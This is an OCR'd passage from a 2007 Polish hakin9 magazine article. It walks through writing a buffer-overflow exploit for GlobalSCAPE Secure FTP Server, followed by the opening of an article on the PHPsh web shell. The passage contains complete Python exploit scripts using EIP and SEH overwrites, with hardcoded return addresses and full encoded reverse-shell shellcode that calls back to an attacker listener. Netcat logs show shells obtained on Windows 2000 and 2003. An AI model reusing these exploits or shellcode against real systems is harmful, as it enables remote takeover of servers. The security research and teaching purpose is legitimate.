6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5B r6br7br8br9bs0bs1bs2bs3bs4bs5bs6bs7bs8bs9bt0bt1bt2bt3bt4bt5bt6bt7bt8bt9bu0bu1bu2bu3bu4bu5bu6bu7bu8bu9bv0bv1bv2bv3bv4bv5 Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz 5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4C d5cd6cd7cd8cd9ce0ce1ce2ce3ce4ce5ce6ce7ce8ce9cf0cf1cf2cf3cf4cf5cf6cf7cf8cf9cg0cg1cg2cg3cg4cg5cg6cg7cg8cg9ch0ch1ch2ch3ch4 Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl 4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3C p4cp5cp6cp7cp8cp9cq0cq1cq2cq3cq4cq5cq6cq7cq8cq9cr0cr1cr2cr3cr4cr5cr6cr7cr8cr9cs0cs1cs2cs3cs4cs5cs6cs7cs8cs9ct0ct1ct2ct3 Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx 3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2D b3db4db5db6db7db8db9dc0dc1dc2dc3dc4dc5dc6dc7dc8dc9dd0dd1dd2dd3dd4dd5dd6dd7dd8dd9de0de1de2de3de4de5de6de7de8de9df0df1df2 Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj 2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1D n2dn3dn4dn5dn6dn7dn8dn9do0do1do2do3do4do5do6do7do8do9dp0dp1dp2dp3dp4dp5dp6dp7dp8dp9dq0dq1dq2dq3dq4dq5dq6dq7dq8dq9dr0dr1 Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv 1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9 bt ~ # 14 hakin9 Nr 7/2007 www.hakin9.org
Offensive Security i do naszych drzwi puka reverse shell. Zobacz Listing 6. Nadużycie SEH Podczas dalszego badania crashu zauważyłem, że to samo przepełnienie nadpisuje funkcję Structured Exception Handler (SEH). SEH jest wywoływana, kiedy w programie zostanie złapany wyjątek. Nadpisując SEH i powodując wyjątek, możemy jeszcze raz przejąć kontrolę nad strumieniem wykonawczym. Używając metod opisanych powyżej odkryłem, że kod SEH został nadpisany przez bajty 2100-2103. Następny skrypt spowodował crash przedstawiony na Rysunku 7. Zauważmy, że aby przekazać wyjątek do SEH, trzeba wcisnąć CTRL+F9 w Olly po wstępnym crashu. Rysunek 8 zawiera nadpisany kod. Był to szkielet skryptu. Zobacz Listing 7. Kiedy wyjątek zostanie przekazany przy użyciu CTRL+F9, otrzymujemy crash, tak, jak zostało to pokazane na Rysunku 9. Dodatkowo widzimy, że rejestr EBX pokazuje resztę danych pochodzących od naszego użytkownika, tak więc skok do EBX jest w porządku. Użyjemy 4 B do (krótkiego) skoku przez podrobiony kod SEH, żeby wylądować w naszym shellcode. Zobacz Listing 8 i Listing 9. Listing 3. Modyfikacja PoC Rysunek 4. Dostępna przestrzeń dla shellcode'u #!/usr/bin/python import socket import struct import time ret = \x42\x42\x42\x42 buffer = '\x41'*2043 + ret + \x43 *4 + '\x44'*949 # Total 3000 bytes! s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect (('192.168.0.100',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') Listing 4. Przykład exploit zwracający poprawny adres Rysunek 5. Szkielet exploita #!/usr/bin/python import socket import struct import time ret = "\xbb\xed\x4f\x7c" buffer = '\x41'*2043 + ret + " \x43"*4 + '\xcc'*949 # Total 3000 bytes! s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect0 (('192.168.0.100',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') www.hakin9.org hakin9 Nr 7/2007 15
Atak Listing 5. EIP overwrite exploit #!/usr/bin/python import socket import struct import time ret = "\xbb\xed\x4f\x7c" #win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321 Size=649 Encoder=PexAlphaNum shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38" "\x4e\x36\x46\x42\x46\x42\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58" "\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x53\x4b\x38" "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x35\x46\x42\x4a\x52\x45\x37\x45\x4e\x4b\x38" "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x44" "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x50\x4e\x32\x4b\x38" "\x49\x38\x4e\x36\x46\x42\x4e\x31\x41\x46\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x38\x43\x44\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48" "\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x55\x4a\x56" "\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x46" "\x43\x55\x48\x46\x4a\x56\x43\x33\x44\x53\x4a\x56\x47\x37\x43\x37" "\x44\x43\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x33\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x48\x45\x4e" "\x48\x46\x41\x48\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45" "\x4f\x4f\x48\x4d\x43\x35\x43\x55\x43\x35\x43\x55\x43\x34\x43\x45" "\x43\x44\x43\x45\x4f\x4f\x42\x4d\x4a\x36\x42\x4c\x4a\x4a\x42\x50" "\x42\x47\x48\x56\x4a\x56\x42\x51\x41\x4e\x48\x56\x43\x35\x49\x38" "\x41\x4e\x45\x49\x4a\x46\x4e\x4e\x49\x4f\x4c\x4a\x42\x36\x47\x45" "\x4f\x4f\x48\x4d\x4c\x56\x42\x31\x41\x35\x45\x55\x4f\x4f\x42\x4d" "\x48\x56\x4c\x46\x46\x56\x48\x36\x4a\x56\x43\x36\x4d\x56\x4c\x36" "\x42\x35\x49\x35\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x56\x46\x44" "\x49\x38\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x45\x49\x49\x38" "\x4d\x4f\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52\x4d\x38" "\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36\x44\x57\x50\x4f" "\x43\x4b\x48\x41\x4f\x4f\x45\x37\x4a\x52\x4f\x4f\x48\x4d\x4b\x35" "\x47\x55\x44\x35\x41\x45\x41\x55\x41\x35\x4c\x36\x41\x30\x41\x55" "\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36\x4d\x4a\x49\x4d" "\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36\x4f\x4f\x4f\x4f" "\x47\x43\x4f\x4f\x42\x4d\x4a\x46\x47\x4e\x49\x47\x48\x4c\x49\x37" "\x4f\x4f\x45\x47\x46\x50\x4f\x4f\x48\x4d\x4f\x4f\x47\x37\x4e\x4f" "\x4f\x4f\x42\x4d\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55" "\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a") buffer = '\x41'*2043 + ret + "\x90"*4 + shellcode +'\xcc'*296 s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect(('192.168.0.100',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') Świetnie, ale co dalej? Jedynym problemem na tym etapie było to, że nie znałem wersji systemu operacyjnego ofiary. Jak zobaczyliśmy wcześniej, użyte przez nas adresy powrotne są zależne od systemu operacyjnego, tak więc miałbym tylko jedną próbę wykonania exploita przeciwko danemu użytkownikowi. Podejrzewałem, że na serwerze działał albo Windows 2000 SP4, albo Windows 2003 Sp0 co dawało mi 50% szans uzyskania dostępu do serwera szansa, z której nie zamierzałem skorzystać. Skonsultowałem się z moim miejscowym guru od przepełnień bufora, który zaproponował, żebym spróbował napisać exploit podwójnego adresu powrotnego. Po kilku tequilach zaczęło to mieć sens. Listing 6. Pobieranie informacji z linii komend w Windows 2000 SP4 bt ~ # nc -lvp 4321 listening on [any] 4321 connect to [192.168.0.112] from ftp. localdomain [192.168.0.100] 1215 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>ipconfig ipconfig Windows 2000 IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix localdomain IP Address.... 192.168.0.100 Subnet Mask... 255.255.255.0 Default Gateway... 192.168.0.1 C:\WINNT\system32> Listing 7. Szkielet exploit dla SEH overwrite #!/usr/bin/python import socket import struct import time buffer = '\x41'*2099+ '\x42'*4+' \x43'*4+'\x44'*900 try: s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect (('192.168.0.110',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') except: print "Can't connect to ftp" 16 hakin9 Nr 7/2007 www.hakin9.org
Offensive Security Zdałem sobie sprawę z tego, że mógłbym wykorzystać ten interesujący crash (zarówno EIP jak i SEH) do stworzenia planu zapasowego wewnątrz exploita. Użyłbym oryginalnego exploita Win2k SP4 i zmodyfikował go nieznacznie, aby nadpisać SEH Windows 2003. W ten sposób, jeśli systemem ofiary byłby Windows 2000 SP4, exploit zadziałałby normalnie. Jeśli natomiast systemem byłby Windows 2003, oryginalny exploit nie zadziałałby i nastąpiłoby wywołanie funkcji SEH, której kod byłby już nadpisany przez drugi adres powrotny Analizując przepełnienie SEH w Windows 2003 zobaczyłem, że potrzebowałbym pop pop ret, aby powrócić do mojego shellcode'u. Znalazłem następujący fragment kodu w AuthManager.dll (dll będący częścią GSFTPS): 10010216 5F POP EDI 10010217 5E POP ESI 10010218 C3 RETN Odpowiadało to moim potrzebom, zwłaszcza dlatego, że adres 10010216 również podporządkowuje się schematowi filtrowania znaków GSFTPS. Po pewnych przeróbkach miałem projekt następującego szkieletu exploita: buffer = '\x41'*2043 + \x42 *4 + "\x90"*52 + \x43 *4 + \x44 *4+'\ xcc'*941. gdzie: \x42 = adres powrotny dla Windows 2000 SP4 \x43 = Short Jump do shellcode- 'u \x44 = adres pop pop ret dla powrotu Windows 2003 do shelcode'u Oto próba graficznego opisu strumienia wykonawczego. Zobacz Rysunek 10. Listing. 8. SEH Overwrite exploit #!/usr/bin/python import socket import struct import time buffer = '\x41'*2099+'\xeb \x06\x06\xeb'+'\xb2\x54 \x53\x7c'+'\x90'*59+sc s=socket.socket(socket.af_inet, socket.sock_stream) print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit" print "[+] Coded by muts" connect=s.connect (('192.168.0.110',21)) d=s.recv(1024) print "[+] " +d print "[+] Sending Username" time.sleep(1) s.send('user ftp\r\n') s.recv(1024) print "[+] Sending Password" time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) print "[+] Sending evil buffer" time.sleep(1) s.send(buffer+'r\n') Listing 9. Zwrotny Shell z Windows 2000 bt ~ # nc -lvp 4321 listening on [any] 4321... connect to [192.168.0.112] from 97DACBEC7CA4483. localdomain [192.168.0.100] 1041 Microsoft Windows 2000 [Version 5.00.2195] (C)Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> Rysunek 6. Skok do naszego shellcode'u Rysunek 7. Nadpisana funkcja SEH Rysunek 8. Nadpisany kod SEH www.hakin9.org hakin9 Nr 7/2007 17
Atak Listing 10. Ostateczna wersja #!/usr/bin/python import socket import struct import time #ret = "\x41\x41\x41\x41" ret = "\xbb\xed\x4f\x7c" # POP POP RET IN AuthManager.dll Windows 2003 SP0 #10010216 5F POP EDI #10010217 5E POP ESI #10010218 C3 RETN # CALL ESP in Kernel32.dll Windows 2000 SP4 # 7C4FEDBB FFD4 CALL ESP #win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321 Size=649 Encoder=PexAlphaNum http://metasploit.com */ shellcode=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38" "\x4e\x36\x46\x42\x46\x42\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58" "\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x53\x4b\x38" "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x35\x46\x42\x4a\x52\x45\x37\x45\x4e\x4b\x38" "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x44" "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x50\x4e\x32\x4b\x38" "\x49\x38\x4e\x36\x46\x42\x4e\x31\x41\x46\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x38\x43\x44\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48" "\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x55\x4a\x56" "\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x46" "\x43\x55\x48\x46\x4a\x56\x43\x33\x44\x53\x4a\x56\x47\x37\x43\x37" "\x44\x43\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x33\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x48\x45\x4e" "\x48\x46\x41\x48\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45" "\x4f\x4f\x48\x4d\x43\x35\x43\x55\x43\x35\x43\x55\x43\x34\x43\x45" "\x43\x44\x43\x45\x4f\x4f\x42\x4d\x4a\x36\x42\x4c\x4a\x4a\x42\x50" "\x42\x47\x48\x56\x4a\x56\x42\x51\x41\x4e\x48\x56\x43\x35\x49\x38" "\x41\x4e\x45\x49\x4a\x46\x4e\x4e\x49\x4f\x4c\x4a\x42\x36\x47\x45" "\x4f\x4f\x48\x4d\x4c\x56\x42\x31\x41\x35\x45\x55\x4f\x4f\x42\x4d" "\x48\x56\x4c\x46\x46\x56\x48\x36\x4a\x56\x43\x36\x4d\x56\x4c\x36" "\x42\x35\x49\x35\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x56\x46\x44" "\x49\x38\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x45\x49\x49\x38" "\x4d\x4f\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52\x4d\x38" "\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36\x44\x57\x50\x4f" "\x43\x4b\x48\x41\x4f\x4f\x45\x37\x4a\x52\x4f\x4f\x48\x4d\x4b\x35" "\x47\x55\x44\x35\x41\x45\x41\x55\x41\x35\x4c\x36\x41\x30\x41\x55" "\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36\x4d\x4a\x49\x4d" "\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36\x4f\x4f\x4f\x4f" "\x47\x43\x4f\x4f\x42\x4d\x4a\x46\x47\x4e\x49\x47\x48\x4c\x49\x37" "\x4f\x4f\x45\x47\x46\x50\x4f\x4f\x48\x4d\x4f\x4f\x47\x37\x4e\x4f" "\x4f\x4f\x42\x4d\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55" "\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a") buffer = '\x41'*2043 + ret + "\x90"*52 +"\xeb\x08\x90\x90" +"\x16\x02\x01\x10"+'\x90'*8+shellcode+'\x90'*186 s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect(('192.168.0.100',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') 18 hakin9 Nr 7/2007 www.hakin9.org
Offensive Security Listing 11. Reverse Shell na Windows 2003 SP0: BT ~ # nc -lvp 4321 listening on [any] 4321 connect to [192.168.0.112] from win2k3std.localdomain [192.168.0.110] 1073 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32> Listing 12. Reverse Shell na Windows 2000 SP4: BT ~ # nc -lvp 4321 listening on [any] 4321 connect to [192.168.0.112] from 97DACBEC7CA4483. Ku mojemu zdziwieniu i zaskoczeniu zadziałało i mój exploit wykonywał pomyślnie kod zarówno pod Windows 2000, jak i pod Windows 2003. Przejęcie kontroli Używając zmodyfikowanego exploita zdołałem uruchomić reverse meterpreter shell na maszynie ofiary i zdobyć do niej dostęp. Okazało się, że była to stacja z systemem Windows 2003 SP0. Podsumowanie Bawiąc się finalną wersją exploita na Windows 2000 SP4 zdałem sobie sprawę z tego, że mogłem stworzyć uniwersalny exploit w o wiele prostszy sposób. AuthManager.dll (tej konkretnej wersji GSFTPS) jest wczytywany przy takich samych adresach zarówno w Windows 2000, jak i w Windows 2003. Przy nadużyciu jedynie SEH exploit byłby uniwersalny w Windows, ale zależny od wersji GSFTPS. localdomain [192.168.0.100] 1106 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> O autorze Mati Aharoni jest ekspertem w dziedzinie bezpieczeństwa sieciowego, aktualnie współpracuje z izraelskimi agencjami wojskowymi i rządowymi. Na co dzień zajmuje się badaniem luk, pisaniem exploitów i testami penetracyjnymi (whitebox / blackbox). Rysunek 9. Wywołana SEH, nadpisywanie EIP Good Jump CALL ESP W2kSP4 52 NOPS Short POP POP RET Shellcode Jump W2k3SPO Rysunek 10. Windows 2000 SEH Called Bad Jump CALL ESP W2kSP4 52 NOPS Short POP POP RET Shellcode Jump W2k3SPO Rysunek 11. Windows 2003 www.hakin9.org hakin9 Nr 7/2007 19
PHPsh dostęp do shell a Atak Piotr Nowak stopień trudności Wiele firm hostingowych nie udziela dostępu do shella dla zwykłych kont WWW, istnieje jednak możliwość obejścia tego ograniczenia w łatwy oraz przyjemny dla użytkownika sposób, nie naruszając przy tym żadnych zagadnień legalności. Czy jest coś bardziej irytującego niż przenoszenie tysięcy plików na swój serwer WWW, korzystając z dostępu poprzez konto FTP? Wielu użytkowników cierpliwie wykorzystuje jedyny dostęp do swojego serwisu, użytkuje protokół FTP i czeka kilkadziesiąt minut na zakończenie operacji transmisji danych. Jak w prosty sposób poznać ścieżkę do wybranego katalogu? Jak szybko zrobić kopię zapasową plików serwera? Wyobraźmy sobie następującą, typową sytuację, kiedy chcemy zainstalować rozbudowany serwis WWW na serwerze, aby każdy mógł zobaczyć wyniki naszej pracy. Wydawać, by się mogło, że nic prostszego po przetestowaniu naszego serwisu lokalnie, decydujemy się w końcu na transfer wszystkich plików do zdalnego katalogu. I tu zaczyna się problem. Taka operacja trwa bardzo długo. Jak wiadomo, przesył tej samej objętości w wielu osobnych plikach nie jest tożsamy czasowo z transmisją identycznej ilości danych w jednym pliku. Po udanej operacji możemy cieszyć się działającym serwisem. Lecz całkiem niedługo będziemy z pewnością chcieli wykonać kopię zapasową bądź usunąć wszystkie pliki. I znów czekają nas wtedy długie minuty zbędnej zwłoki, podczas gdy można by w tym czasie zrobić coś bardziej produktywnego. Właśnie tego rodzaju problemy skłoniły mnie do poszukiwań alternatywnego rozwiązania i obejścia całej tej żmudnej oraz czasochłonnej operacji. O ileż prościej byłoby spakować wszystkie pliki do archiwum, skorzystać z dostępu do shella i skopiować oraz rozpakować pliki na zdalnym serwerze! Owszem, byłoby to bardzo proste, lecz często spotka nas tutaj rozczarowanie. Otóż okazuje się, iż dostawca naszego Z artykułu dowiesz się jak uzyskać dostęp do shella na serwerze nie wyposażonym w taką usługę, jak skonfigurować PHPsh, by móc bezpiecznie z niego korzystać. Co powinieneś wiedzieć znajomość podstawowych informacji na temat shell w linux, znajomość podstaw języka PHP umożliwiająca świadomą konfigurację skryptu PHPsh, umiejętność umieszczenia skryptu na serwerze WWW. 20 hakin9 Nr 7/2007 www.hakin9.org